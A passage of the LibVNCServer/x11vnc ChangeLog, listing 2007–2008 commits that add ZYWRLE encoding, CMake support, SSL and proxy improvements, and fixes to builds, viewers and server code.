   3650 	* VisualNaCro/.gitignore: VisualNaCro: add .gitignore file Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3651 
   3652 2008-05-31  dscho <dscho>
   3653 
   3654 	* VisualNaCro/configure.ac: VisualNaCro: fix configure.ac There was a misunderstanding as to the workings of AC_CHECK_PROG().  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3655 
   3656 2008-05-31  dscho <dscho>
   3657 
   3658 	* TODO: Update TODOs Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3659 
   3660 2008-05-31  dscho <dscho>
   3661 
   3662 	* libvncserver-config.in: Fix libvncserver-config for in-place
   3663 	operation Since quite some time, the linkable libraries are stored in the
   3664 	.libs/ subdirectories.  Adjust libvncserver-config to account for
   3665 	that when running without installing.  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3666 
   3667 2008-05-23  runge <runge>
   3668 
   3669 	* libvncserver/rfbserver.c: Handle colormaps with more than 256
   3670 	colors.
   3671 
   3672 2008-05-13  dscho <dscho>
   3673 
   3674 	* examples/mac.c: examples/mac: disable the cursor We cannot write access the frame buffer, and we do not have a
   3675 	sensible cursor anyway, so better disable the cursor (which would
   3676 	have to be drawn for clients that do not support
   3677 	CursorShapeUpdates).  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3678 
   3679 2008-05-13  dscho <dscho>
   3680 
   3681 	* client_examples/SDLvncviewer.c: SDLvncviewer: add -viewonly Just like its siblings from other projects, SDLvncviewer now
   3682 	supports viewonly connections.  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3683 
   3684 2008-05-12  runge <runge>
   3685 
   3686 	* x11vnc/README, x11vnc/help.c, x11vnc/selection.c,
   3687 	x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/x11vnc.1,
   3688 	x11vnc/x11vnc_defs.c: x11vnc: SSL fixes.  Increase cert lifetimes to
   3689 	2 years.  Print ssl err msg.
   3690 
   3691 2008-05-12  runge <runge>
   3692 
   3693 	* configure.ac: Add X509_print_ex_fp check for x11vnc.
   3694 
   3695 2008-05-12  runge <runge>
   3696 
   3697 	* x11vnc/misc/enhanced_tightvnc_viewer/README,
   3698 	x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl,
   3699 	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
   3700 	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
   3701 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
   3702 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
   3703 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
   3704 	ll.patch: Many improvement to the frontend and unix viewer.
   3705 	UltraVNC proxy support, and other proxy improvements.
   3706 
   3707 2008-05-08  runge <runge>
   3708 
   3709 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
   3710 	x11vnc/gui.c, x11vnc/help.c, x11vnc/options.c, x11vnc/scan.c,
   3711 	x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/tkx11vnc,
   3712 	x11vnc/tkx11vnc.h, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
   3713 	x11vnc/x11vnc_defs.c: x11vnc: add UltraVNC repeater proxy support.
   3714 	        fix to setp gui mode. -threads is now strongly discouraged.  Read
   3715 	        PORT= in url.  User can set nolisten for Xvfb in -create mode.
   3716 	        clean up wait_for_client() to some degree.
   3717 
   3718 2008-05-08  runge <runge>
   3719 
   3720 	* classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
   3721 	classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Add check for
   3722 	"https" to viewers.  update jars.
   3723 
   3724 2008-04-28  dscho <dscho>
   3725 
   3726 	* rfb/rfbclient.h: Fix compilation in the absence of libjpeg The JPEG library is not necessarily installed everywhere, and
   3727 	sometimes it is outright undesirable to compile with JPEG support,
   3728 	e.g. when the server is not very fast.  So fix the compilation for
   3729 	that case.  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3730 
   3731 2008-03-21  dscho <dscho>
   3732 
   3733 	* TODO: Update TODOs Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3734 
   3735 2008-02-18  dscho <dscho>
   3736 
   3737 	* ChangeLog, libvncserver/rfbregion.c: Please MS Visual C++ a bit
   3738 	(Christian Ehrlicher) Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3739 
   3740 2008-02-18  runge <runge>
   3741 
   3742 	* classes/ssl/ss_vncviewer, x11vnc/README: Update ssl jars.
   3743 
   3744 2008-02-18  runge <runge>
   3745 
   3746 	* x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: changes for
   3747 	release
   3748 
   3749 2008-02-18  runge <runge>
   3750 
   3751 	* x11vnc/README, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
   3752 	x11vnc/x11vnc_defs.c: minor date changes.
   3753 
   3754 2008-02-18  runge <runge>
   3755 
   3756 	* x11vnc/misc/enhanced_tightvnc_viewer/README,
   3757 	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
   3758 	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
   3759 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
   3760 	ll.patch: ssvnc sync with zywrle support and improvements to popup.
   3761 
   3762 2008-02-04  dscho <dscho>
   3763 
   3764 	* ChangeLog, libvncclient/rfbproto.c, libvncclient/zrle.c: ZYWRLE
   3765 	patch for libvncclient (thanks Noriaki Yamazaki) Highlite:  * use qualityLevel/zlib_buffer. No new variable is needed.   * Change coding style to recursive fashion.   * Change meaning of qualityLevel== 9 for easy calc zywrle_level:      old:zywrle_level== 1      new:disable ZYWRLE(same as ZRLE)    so, we should not use this value for compatible reason.   * Color mode handling isn't complete.     I provided and checked 16 bit colors(RGB555,RGB565) and    some color mode of 32 bit colors for little endian mode.     we must make and check 24 bit colors and big endian mode.  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3766 
   3767 2008-02-04  dscho <dscho>
   3768 
   3769 	* ChangeLog, libvncserver/zywrletemplate.c: Fix ZYWRLE en/decoding
   3770 	for width != scanline (thanks Noriaki Yamazaki) Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3771 
   3772 2008-02-03  runge <runge>
   3773 
   3774 	* libvncserver/stats.c: Add ZYWRLE to server printout.
   3775 
   3776 2008-02-02  dscho <dscho>
   3777 
   3778 	* ChangeLog, TODO, client_examples/SDLvncviewer.c: SDLvncviewer: fix
   3779 	button handling For some reason, I swapped buttons 2 and 3 on Dec 7, 2005, in commit
   3780 	"translate keys based on unicode (much more reliable than sym)".  I
   3781 	do not remember why, nor what I smoked, but this was wrong.  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3782 
   3783 2008-02-02  dscho <dscho>
   3784 
   3785 	* TODO, client_examples/SDLvncviewer.c: SDLvncviewer: fix
   3786 	Ctrl+<letter> Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3787 
   3788 2008-02-02  dscho <dscho>
   3789 
   3790 	* TODO, client_examples/SDLvncviewer.c: SDLvncviewer: fix
   3791 	translation of the Tab key Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3792 
   3793 2008-02-02  dscho <dscho>
   3794 
   3795 	* TODO: Updated TODOs Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3796 
   3797 2008-02-01  runge <runge>
   3798 
   3799 	* libvncserver/Makefile.am: Need to include zywrletemplate.c in
   3800 	Makefile.am
   3801 
   3802 2008-02-01  runge <runge>
   3803 
   3804 	* classes/ssl/ss_vncviewer: sync java viewer.
   3805 
   3806 2008-02-01  runge <runge>
   3807 
   3808 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
   3809 	x11vnc/help.c, x11vnc/misc/enhanced_tightvnc_viewer/README,
   3810 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
   3811 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
   3812 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
   3813 	ll.patch, x11vnc/rates.c, x11vnc/ssltools.h, x11vnc/x11vnc.1,
   3814 	x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c: x11vnc: during speeds
   3815 	estimate, guard against client disconnecting.
   3816 
   3817 2008-01-31  dscho <dscho>
   3818 
   3819 	* libvncserver/rfbserver.c: Fix rfbSendSupportedEncodings There was a long standing TODO to make the counting of the supported
   3820 	encodings dynamic.  It never triggered, until ZYWRLE was added.  Noticed by Christian Ehrlicher.  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3821 
   3822 2008-01-31  dscho <dscho>
   3823 
   3824 	* Makefile.am, configure.ac: Recurse into subdirectory x11vnc/ when
   3825 	configuring with --with-x11vnc Since we separated the packages LibVNCServer and x11vnc, there is a
   3826 	configure switch --with-x11vnc, without which x11vnc is not built.  However, even _with_ this switch, it is not built, because the
   3827 	Makefile would not recurse into the x11vnc/ subdirectory.  Fix that.  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3828 
   3829 2008-01-31  dscho <dscho>
   3830 
   3831 	* libvncserver/rfbserver.c: Fix Swap16IfLE() on bytes When swapping the values for the colour table to little-endian
   3832 	(because they are 16-bit values), we need to cast "unsigned char" to
   3833 	"unsigned short"; otherwise, Microsoft's compiler would keep
   3834 	complaining.  Noticed by Christian Ehrlicher.  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3835 
   3836 2008-01-31  dscho <dscho>
   3837 
   3838 	* libvncserver/rfbserver.c, rfb/rfb.h: Move tightQualityLevel out of
   3839 	the JPEG specific part The variable tightQualityLevel is used for ZYWRLE compression, too,
   3840 	so if libjpeg is not present, but libz is, we still need to have
   3841 	that struct member.  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3842 
   3843 2008-01-30  dscho <dscho>
   3844 
   3845 	* libvncserver/zrle.c, libvncserver/zrleencodetemplate.c, rfb/rfb.h: 
   3846 	Make ZYWRLE thread-safe for multiple clients ZYWRLE used a static buffer, which does not work too well if you
   3847 	have more than one client in a threaded server.  Instead, we have
   3848 	the data in the client structure now.  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3849 
   3850 2008-01-30  dscho <dscho>
   3851 
   3852 	* libvncserver/zrle.c, libvncserver/zywrletemplate.c: ZYWRLE brown
   3853 	paper bag fix While adjusting the coding style, three stupid mistakes happened.
   3854 	The quality is _not_ just 1, 2, 3, but really 1, 3, 2.  And the
   3855 	macros ZYWRLE_PACK_COEFF() and ZYWRLE_UNPACK_COEFF() expand to more
   3856 	than one statement, which means that we need curly brackets around
   3857 	them when they are in an if clause.  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3858 
   3859 2008-01-29  dscho <dscho>
   3860 
   3861 	* TODO: Update TODOs Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3862 
   3863 2008-01-29  dscho <dscho>
   3864 
   3865 	* .gitignore: Add a .gitignore file At least one developer (me) uses git to work on local branches, and
   3866 	this file does not hurt.  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3867 
   3868 2008-01-29  dscho <dscho>
   3869 
   3870 	* ChangeLog, libvncserver/rfbserver.c: Add missing #include <time.h>
   3871 	(thanks Christian Ehrlicher) Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3872 
   3873 2008-01-29  dscho <dscho>
   3874 
   3875 	* AUTHORS, ChangeLog, libvncserver/rfbserver.c,
   3876 	libvncserver/scale.c, libvncserver/zrle.c,
   3877 	libvncserver/zrleencodetemplate.c, libvncserver/zywrletemplate.c,
   3878 	rfb/rfbproto.h: Add ZYWRLE server-side support (thanks Noriaki
   3879 	Yamazaki, Hitachi) Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3880 
   3881 2008-01-29  dscho <dscho>
   3882 
   3883 	* AUTHORS, CMakeLists.txt, ChangeLog, configure.ac,
   3884 	rfb/rfbconfig.h.cmake, rfb/rfbint.h.cmake: Add CMake support (thanks
   3885 	to Christian Ehrlicher) Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3886 
   3887 2008-01-15  runge <runge>
   3888 
   3889 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c,
   3890 	x11vnc/options.h, x11vnc/scan.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
   3891 	x11vnc/x11vnc_defs.c: x11vnc: -ping option, fix memory corruption in
   3892 	copy_tiles after xrandr resize.
   3893 
   3894 2007-12-16  runge <runge>
   3895 
   3896 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/gui.c,
   3897 	x11vnc/macosxCG.c, x11vnc/remote.c, x11vnc/tkx11vnc,
   3898 	x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
   3899 	x11vnc/x11vnc_defs.c: x11vnc: setup remote-ctrl file by default on
   3900 	        macosx. improve tkx11vnc wrt attaching to existing server in
   3901 	icon/tray mode.
   3902 
   3903 2007-12-16  runge <runge>
   3904 
   3905 	* x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
   3906 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
   3907 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
   3908 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
   3909 	ll.patch: Fixes for MacOSX 10.5.  Improve usage of x11 viewer on
   3910 	macosx.
   3911 
   3912 2007-12-16  runge <runge>
   3913 
   3914 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/keyboard.c,
   3915 	x11vnc/macosxCG.c, x11vnc/macosxCGS.c, x11vnc/ssltools.h,
   3916 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: fix
   3917 	find_display and usleep() prototype on macosx.  -display console and
   3918 	check DISPLAY /tmp/...:0 on macosx.  implement -noxinerama.
   3919 
   3920 2007-11-13  runge <runge>
   3921 
   3922 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c, x11vnc/help.c,
   3923 	x11vnc/keyboard.c, x11vnc/keyboard.h, x11vnc/options.c,
   3924 	x11vnc/remote.c, x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c,
   3925 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: add
   3926 	clear_locks (Caps_Lock, etc) action.
   3927 
   3928 2007-10-27  runge <runge>
   3929 
   3930 	* x11vnc/misc/enhanced_tightvnc_viewer/Windows/util/connect_br.tcl,
   3931 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
   3932 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
   3933 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle: ssvnc
   3934 	sync: connect_br.tcl socks4/5 http proxies, ss_vncviewer socks5
   3935 	proxy. ssh 1st proxy. whatismyip.com fix. 127.0.0.1 on Darwin
   3936 
   3937 2007-10-27  runge <runge>
   3938 
   3939 	* classes/ssl/ss_vncviewer: ssl java and ss_vncviewer (socks5) sync.
   3940 
   3941 2007-10-27  runge <runge>
   3942 
   3943 	* prepare_x11vnc_dist.sh, x11vnc/8to24.c, x11vnc/ChangeLog,
   3944 	x11vnc/README, x11vnc/cleanup.c, x11vnc/connections.c,
   3945 	x11vnc/help.c, x11vnc/keyboard.c, x11vnc/macosxCGP.c,
   3946 	x11vnc/macosxCGS.c, x11vnc/options.c, x11vnc/options.h,
   3947 	x11vnc/remote.c, x11vnc/screen.c, x11vnc/selection.c,
   3948 	x11vnc/tkx11vnc, x11vnc/tkx11vnc.h, x11vnc/user.c,
   3949 	x11vnc/userinput.c, x11vnc/util.c, x11vnc/win_utils.c,
   3950 	x11vnc/winattr_t.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
   3951 	x11vnc/x11vnc_defs.c, x11vnc/xrecord.c: x11vnc: -proxy, -ssh
   3952 	options. ncache bug in -8to24, Selection "targets" bugfix.
   3953 
   3954 2007-10-04  runge <runge>
   3955 
   3956 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c,
   3957 	x11vnc/ssltools.h, x11vnc/user.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
   3958 	x11vnc/x11vnc_defs.c: x11vnc: add xfce to createdisplay
   3959 
   3960 2007-09-26  runge <runge>
   3961 
   3962 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/connections.c,
   3963 	x11vnc/help.c, x11vnc/ssltools.h, x11vnc/user.c, x11vnc/util.c,
   3964 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc.h,
   3965 	x11vnc/x11vnc_defs.c: x11vnc: COLUMNS=256 and other fixes to
   3966 	find/create scripts. More ratecheck.
   3967 
   3968 2007-09-17  dscho <dscho>
   3969 
   3970 	* libvncserver/rfbserver.c: Avoid misaligned access on 64-bit
   3971 	machines We used to assume that a char[256] is properly aligned to be cast to
   3972 	an rfbServerInitMsg, but that was not the case.  So use a union
   3973 	instead.  Noticed by Flavio Leitner.  Signed-off-by: Johannes Schindelin <johannes.schindelin (a] gmx.de>
   3974 
   3975 2007-09-11  runge <runge>
   3976 
   3977 	* classes/ssl/ss_vncviewer,
   3978 	classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
   3979 	classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: update
   3980 	ss_vncviewer script, jars, and patch files.
   3981 
   3982 2007-09-11  runge <runge>
   3983 
   3984 	* x11vnc/ChangeLog, x11vnc/misc/enhanced_tightvnc_viewer/README,
   3985 	x11vnc/misc/enhanced_tightvnc_viewer/Windows/README.txt,
   3986 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
   3987 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
   3988 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle: ssvnc:
   3989 	          sshvnc ssh-only, tsvnc Terminal Services modes.  Improvements to
   3990 	          ss_vncviewer.  Automatically find X dpy and X login.  Reorganize
   3991 	menus a bit.  ~/.ssvncrc file.
   3992 
   3993 2007-09-11  runge <runge>
   3994 
   3995 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/cleanup.c,
   3996 	x11vnc/connections.c, x11vnc/cursor.c, x11vnc/help.c,
   3997 	x11vnc/options.c, x11vnc/options.h, x11vnc/screen.c,
   3998 	x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c,
   3999 	x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
   4000 	x11vnc/x11vnc_defs.c, x11vnc/xrecord.c, x11vnc/xwrappers.c: x11vnc:
   4001 	          fix wireframe crash under -clip.  Add -redirect for VNC redir.
   4002 	          -rawfb nullbig, randbig, solid, swirl, etc.  FD_XDM mode to
   4003 	          find_display.  -listdpy.  Add enlightenment.  Xvnc.redirect
   4004 	          FINDDISPLAY-vnc_redirect. -xvnc, -xvnc_redirect, -svc_xvnc.
   4005 	AUTO_PORT.
   4006 
   4007 2007-09-05  runge <runge>
   4008 
   4009 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c,
   4010 	x11vnc/keyboard.c, x11vnc/misc/Xdummy, x11vnc/options.c,
   4011 	x11vnc/options.h, x11vnc/remote.c, x11vnc/screen.c, x11vnc/solid.c,
   4012 	x11vnc/sslhelper.c, x11vnc/ssltools.h, x11vnc/user.c,
   4013 	x11vnc/userinput.c, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
   4014 	x11vnc/x11vnc.h, x11vnc/x11vnc_defs.c, x11vnc/xevents.c,
   4015 	x11vnc/xevents.h, x11vnc/xrandr.c, x11vnc/xwrappers.c: x11vnc:
   4016 	-autoport, -finddpy, -xdummy. watch xrandr events.
   4017 	check_redir_services() utilities for Terminal services.  Improve
   4018 	Xdummy.
   4019 
   4020 2007-09-05  runge <runge>
   4021 
   4022 	* ChangeLog, classes/ssl/Makefile.am, classes/ssl/proxy.vnc,
   4023 	classes/ssl/ss_vncviewer,
   4024 	classes/ssl/tightvnc-1.3dev7_javasrc-vncviewer-ssl.patch,
   4025 	classes/ssl/ultraproxy.vnc,
   4026 	classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: classes/ssl:
   4027 	improve timeouts, port fallback, and connection time.
   4028 
   4029 2007-08-19  runge <runge>
   4030 
   4031 	* x11vnc/README, x11vnc/help.c, x11vnc/keyboard.c, x11vnc/x11vnc.1: 
   4032 	malloc score_hint and make it shorts to save space.
   4033 
   4034 2007-08-19  runge <runge>
   4035 
   4036 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c,
   4037 	x11vnc/keyboard.c, x11vnc/ssltools.h, x11vnc/user.c,
   4038 	x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: better -xkb
   4039 	tie-breaking for up keystrokes.  Add Xsrv/FD_XSRV custom server to
   4040 	FINDCREATEDISPLAY list.
   4041 
   4042 2007-08-18  runge <runge>
   4043 
   4044 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/solid.c,
   4045 	x11vnc/ssltools.h, x11vnc/user.c, x11vnc/x11vnc.1,
   4046 	x11vnc/x11vnc_defs.c: x11vnc: improve FINDCREATEDISPLAY (-create)
   4047 	script, FD_GEOM, FD_SESS, FD_OPTS, FD_PROG env vars, add Xvnc
   4048 	support
   4049 
   4050 2007-08-16  runge <runge>
   4051 
   4052 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/user.c,
   4053 	x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c: x11vnc: add reverse -connect
   4054 	support to -display WAIT:, fix SSL Fetch cert only for -display
   4055 	WAIT:
   4056 
   4057 2007-08-14  dscho <dscho>
   4058 
   4059 	* AUTHORS, ChangeLog, libvncclient/rfbproto.c: LibVNCClient: if the
   4060 	GotRect hook is set, override default op.
   4061 
   4062 2007-08-04  runge <runge>
   4063 
   4064 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c,
   4065 	x11vnc/options.h, x11vnc/remote.c, x11vnc/solid.c, x11vnc/tkx11vnc,
   4066 	x11vnc/tkx11vnc.h, x11vnc/x11vnc.1, x11vnc/x11vnc.c,
   4067 	x11vnc/x11vnc_defs.c, x11vnc/xevents.c: x11vnc: -xrefresh,
   4068 	.DCOPserver bug, -unixpw_unsafe ignores SSH tunnel.
   4069 
   4070 2007-08-04  runge <runge>
   4071 
   4072 	* libvncclient/vncviewer.c: argv > 0 doesn't make sense for a
   4073 	pointer; assuming argv != NULL.
   4074 
   4075 2007-07-05  runge <runge>
   4076 
   4077 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c,
   4078 	x11vnc/options.h, x11vnc/remote.c, x11vnc/scan.c, x11vnc/tkx11vnc,
   4079 	x11vnc/tkx11vnc.h, x11vnc/userinput.c, x11vnc/x11vnc.1,
   4080 	x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: -debug_ncache, fix
   4081 	big fonts in tkx11vnc.
   4082 
   4083 2007-07-05  runge <runge>
   4084 
   4085 	* configure.ac, prepare_x11vnc_dist.sh: configure.ac check for
   4086 	external system libvncserver version. set x11vnc version 0.9.3
   4087 
   4088 2007-06-18  runge <runge>
   4089 
   4090 	* x11vnc/README, x11vnc/options.c, x11vnc/x11vnc.1,
   4091 	x11vnc/x11vnc_defs.c: x11vnc: set NCACHE -1 for release.
   4092 
   4093 2007-06-15  runge <runge>
   4094 
   4095 	* ChangeLog, classes/ssl/ultra.vnc, classes/ssl/ultrasigned.vnc,
   4096 	classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, configure.ac,
   4097 	x11vnc/ChangeLog, x11vnc/README,
   4098 	x11vnc/misc/enhanced_tightvnc_viewer/README,
   4099 	x11vnc/misc/enhanced_tightvnc_viewer/bin/Darwin.Power.Macintosh/vnc
   4100 	viewer.sh, x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc,
   4101 	x11vnc/misc/enhanced_tightvnc_viewer/bin/ssvnc_cmd,
   4102 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
   4103 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
   4104 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
   4105 	ll.patch, x11vnc/options.c, x11vnc/options.h, x11vnc/scan.c,
   4106 	x11vnc/sslhelper.c, x11vnc/x11vnc.1, x11vnc/x11vnc_defs.c,
   4107 	x11vnc/xevents.c: x11vnc: fix build error if libssl is missing or
   4108 	--without-ssl supplied.
   4109 
   4110 2007-05-27  runge <runge>
   4111 
   4112 	*
   4113 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
   4114 	ll.patch: sync ssvnc unix viewer diffs; fix X cursor size.
   4115 
   4116 2007-05-27  runge <runge>
   4117 
   4118 	* classes/ssl/ss_vncviewer,
   4119 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
   4120 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
   4121 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/_bundle,
   4122 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
   4123 	ll.patch: update java viewer and ssvnc.
   4124 
   4125 2007-05-27  runge <runge>
   4126 
   4127 	* configure.ac, x11vnc/README: configure.ac: fix x11vnc
   4128 	--with-system-libvncserver build and add -R link flag.
   4129 
   4130 2007-05-27  runge <runge>
   4131 
   4132 	* libvncserver-config.in: Fix --libs, echo -n doesn't work
   4133 	everywhere.  Question: why -R only for Solaris??
   4134 
   4135 2007-05-27  runge <runge>
   4136 
   4137 	* x11vnc/Makefile.am: clobbered x11vnc/Makefile.am by mistake.
   4138 
   4139 2007-05-27  runge <runge>
   4140 
   4141 	* ChangeLog, Makefile.am, configure.ac, prepare_x11vnc_dist.sh,
   4142 	x11vnc/README: configure: make more of a split between libvncserver
   4143 	and x11vnc pkgs.
   4144 
   4145 2007-05-26  runge <runge>
   4146 
   4147 	* prepare_x11vnc_dist.sh, x11vnc/ChangeLog, x11vnc/README,
   4148 	x11vnc/help.c, x11vnc/options.c, x11vnc/unixpw.c, x11vnc/x11vnc.1,
   4149 	x11vnc/x11vnc_defs.c: x11vnc: in -unixpw, initial Escape means no
   4150 	echo username.
   4151 
   4152 2007-05-22  runge <runge>
   4153 
   4154 	* classes/ssl/ss_vncviewer: update regular SSL viewer jars; update
   4155 	ss_vncviewer script.
   4156 
   4157 2007-05-22  runge <runge>
   4158 
   4159 	* x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ss_vncviewer,
   4160 	x11vnc/misc/enhanced_tightvnc_viewer/bin/util/ssvnc.tcl,
   4161 	x11vnc/misc/enhanced_tightvnc_viewer/src/patches/tight-vncviewer-fu
   4162 	ll.patch: update ssvnc (SSVNC_EXTRA_SLEEP), and unix viewer (1/n
   4163 	menu and chat windows)
   4164 
   4165 2007-05-22  runge <runge>
   4166 
   4167 	* x11vnc/ChangeLog, x11vnc/README, x11vnc/help.c, x11vnc/options.c,
   4168 	x11vnc/x11vnc.1, x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: x11vnc: set
   4169 	things up (NCACHE = -1) to not have -ncache on by default.
   4170 
   4171 2007-05-19  runge <runge>
   4172 
   4173 	* classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch,
   4174 	libvncserver/rfbserver.c, x11vnc/README, x11vnc/x11vnc.1,
   4175 	x11vnc/x11vnc.c, x11vnc/x11vnc_defs.c: More fixes to ultra java
   4176 	viewer, ultrafilexfer debugging output, fix -loop in .x11vncrc case.
   4177 
   4178 2007-05-17  runge <runge>
   4179 
   4180 	* libvncserver/tightvnc-filetransfer/rfbtightserver.c: Pre-C99
   4181 	declaration error.
   4182 
   4183 2007-05-17  runge <runge>
   4184 
   4185 	* libvncserver/rfbserver.c: In rfbSendFileTransferChunk() check
   4186 	permitFileTransfer 1st to avoid false alarms.
   4187 
   4188 2007-05-16  runge <runge>
   4189 
   4190 	* prepare_x11vnc_dist.sh: Add UltraViewerSSL.jar, etc. to dist list.
   4191 
   4192 2007-05-16  runge <runge>
   4193 
   4194 	* libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c,
   4195 	libvncserver/tightvnc-filetransfer/rfbtightserver.c: Add logging
   4196 	output to know when inside tightvnc-filetransfer functions.
   4197 
   4198 2007-05-16  runge <runge>
   4199 
   4200 	* classes/ssl/Makefile.am, classes/ssl/README,
   4201 	classes/ssl/ss_vncviewer, classes/ssl/ultra.vnc,
   4202 	classes/ssl/ultrasigned.vnc,
   4203 	classes/ssl/ultravnc-102-JavaViewer-ssl-etc.patch: Add SSL support
   4204 	to UltraVNC Java Viewer (has filetransfer gui).  Fix UltraVNC bugs
   4205 	and improve FTP gui a bit.
   4206 
   4207 2007-05-16  runge <runge>
   4208 
